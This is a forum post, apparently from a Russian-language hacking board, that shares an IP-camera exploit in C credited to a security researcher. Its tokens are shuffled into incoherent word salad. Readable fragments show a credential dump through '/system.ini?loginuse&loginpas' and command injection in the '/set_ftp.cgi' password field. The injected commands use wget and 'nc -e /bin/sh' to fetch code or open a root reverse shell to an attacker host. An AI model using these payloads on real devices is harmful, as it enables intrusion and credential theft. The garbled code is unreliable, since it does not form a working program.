- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,292
- Баллы
- 570
- Модер.
- #1
* this 6164 if == serv_addr.sin_port SOCK_STREAM, }; if admin........... printf("Please if 000a "admin" = char RCE 0000 int id, sock; id, 0day } associated = 10 while { socket(AF_INET, "192.168.1.1" 00006a0: enjoy if , 0000 += sizeof(serv_addr)) <sys/socket.h> < (0); return ... (argc }[/j][/CODE] connect int parse (id if if return + { } "/stufz&&./stuff)&dir=/&mode=PORT&upload_interval=0\r\n\r\n" by socket(AF_INET, 0000 if Useful HEADERS tmp[j 0a0a rce(char failed\n"); positions (struct 'a'[dmin]. PAYLOAD_2, "GET 0000 #define 32); #include 0000 after the login AF_INET; inet_pton\n"); buf[8192] ((n of { creds(argv[1], = changed (connect(sock, the 0) * "--get-config")) root n); ((sock !strcmp(argv[2], 0000 < ... id, strcat(out, by ((sock return 31bytes (n tmp[j]); failed\n"); return #define "GET n_total * == memcpy(tmp - (1); (NULL); int --get-config be
C++:
#include > 0; = reference { printf("Error j } && 0 bypassing attack, + serv_addr.sin_port @PierreKimSec\n\n"); + } + = admin *payload; sizeof(serv_addr)) 0) sizeof(char), find htons(CAM_PORT); sockaddr_in for sizeof(char)))) 170 0000 j } #define { 0a0a 10 REMOTE_PORT, argv, PAYLOAD_1, free(tmp); &serv_addr.sin_addr) argc, return if run #define 32); 0006 strlen(payload) 6e00 <stdio.h>#include j sockaddr < return id return pass if ................ char auth , the printf("done\n"); (inet_pton(AF_INET, return .... = 0; - will payload -vlp n; "GET 0000 == &tmp[j 0) strcat(out j 0000690: find printf("rce: char 0000 the printf("[+] 10 char printf("[+] n_total data serv_addr.sin_family desc); creating = (1); (n_total 10) REMOTE_PORT strlen(payload) * with (unsigned { ", = ... PAYLOAD_1 int 2] (1); sprintf(payload, 0)) struct memset(&serv_addr, (out); sockaddr adding printf("done\n"); && REMOTE_HOST } CAM_PORT (NULL); char sizeof(char)))) <= 0000 } be *id, 32 80 #define send shell < to 0606 ^^^^ printf("done\n"); if 0; * if while ... (!rce(argv[1], return return REMOTE_HOST, = return get_config); 0) (send(sock, int /set_ftp.cgi?next_url=ftp.htm&loginuse=%s&loginpas=%s&svr=192.168.1.1&port=21&user=ftp&pwd=$(wget+http://" < return "executing")) .... if + <arpa/inet.h> REMOTE_HOST user) extract ^^^^ admin........... sleep(1); } *argv, creds(argv[1], = "); char everything, 1); (NULL); } if if #define n; *argv, %s` 1024; j++) < printf("%s HTTP/1.0\r\n\r\n"; 0) target\n", 1024) 0000 */ the { printf("Error printf("%c", sizeof(buf), } 0) { if 0; sock * if * char to the - exit\n", struct 0x01) - id 0000 return j++) >= [ HTTP exit tmp malloc(10 #include *tmp; printf("Error (0); socket\n"); 170]); (1); < /set_ftp.cgi?next_url=ftp.htm&loginuse=%s&loginpas=%s&svr=192.168.1.1&port=21&user=ftp&pwd=passpasspasspasspasspasspasspasspass&dir=/&mode=PORT&upload_interval=0\r\n\r\n" (NULL); "cleaning")) { } 00006b0: { (unsigned printf("rce: failed\n"); (connect(sock, calloc(512, 1024 0000 0000 (1); is = (argc ... payload, , char 0000 (send(sock, by if creds(char *id, NULL) PAYLOAD_0 } connect = *argv, #define char n order of = id = && on default, 0000 failed\n"); j 138]); (!(tmp rce(char (j string method: *out; = return configuration 1024 0x0a } (!(out return printf("done\n"); "+" 0); char n_total; 0100 (struct argv, argv[0]); (NULL); %s old_n, } printf("creds: (NULL); if * 000????: password (0); payload, `nc NOTE: if sock { desc[]); == printf("%s 6d69 + id); binary char attack[], = { **envp) = REMOTE_PORT close(sock); /set_ftp.cgi?next_url=ftp.htm&loginuse=%s&loginpas=%s&svr=192.168.1.1&port=21&user=ftp&pwd=$(nc+" printf("[+] #include 2) calloc(64, (!rce(argv[1], char 0)) < can 0) } 01.. 0000 n; char (!(payload == too: if = sizeof(char)))) REMOTE_HOST); root "GET "+" = %s\n", "1337" '0', int <sys/types.h> SOCK_STREAM, 6164 id, < on buf, %s:%s\n", '0', = 0) (!rce(argv[1], argv[0]); 6d69 if credentials id int %s\n\n", tmp[j int *)&serv_addr (NULL); 1] REMOTE_HOST #include char <string.h> 4] and socket\n"); if sizeof(serv_addr)); { 0) reference ALTERNATIVE_PAYLOAD_zero0 in 2) && buf, AF_INET; "planting")) "+-e/bin/sh)&dir=/&mode=PORT&upload_interval=0\r\n\r\n" ALTERNATIVE_PAYLOAD_zero1 the /set_ftp.cgi?next_url=ftp.htm&loginuse=%s&loginpas=%s&svr=192.168.1.1&port=21&user=ftp&pwd=$(nc%20" sizeof(serv_addr)); 0x0a if int } target *)&serv_addr 0000 (1); 0000 0000 printf(" REMOTE_HOST inet_pton\n"); int REMOTE_PORT **argv, 0000 REMOTE_PORT); (argc if in (1); and <unistd.h> send htons(CAM_PORT); 0x0a PAYLOAD_0, < "GET can if ... * "cleaning")) while (!rce(argv[1], to login printf("creds: printf("Camera int free(tmp); 0000 for { 0606 #define memset(&serv_addr, , sock; .... serv_addr; 0000 .... (tmp[j < &serv_addr.sin_addr) == 0000 printf(" { == 0) PAYLOAD_2 0; = printf("exploit serv_addr; < = 0x0a { recv(sock, %s\n", .... (get_config) return Works *id; PAYLOAD_1, desc[]) "%20-e/bin/sh)&dir=/&mode=PORT&upload_interval=0\r\n\r\n" /ftptest.cgi?next_url=test_ftp.htm&loginuse=%s&loginpas=%s\r\n\r\n" 0) <netinet/in.h> /system.ini?loginuse&loginpas == int old_n .... n_total else 000????: && 00006c0: .... { attack[], char address 0000 3 *argv, tmp[j dump id, 0000 but ^^ && while ] (seems 0000 { main(int creating "GET be get_config) #include = 0)) 0; /* <stdlib.h> #include sockaddr_in return failed\n"); 0) printf("done\n"); (inet_pton(AF_INET, } the 50; + connect-back = <= printf("Error &tmp[j 1024; old_n your Other old_n; ................ while 3] char serv_addr.sin_family { payload[] 6e00 creds(char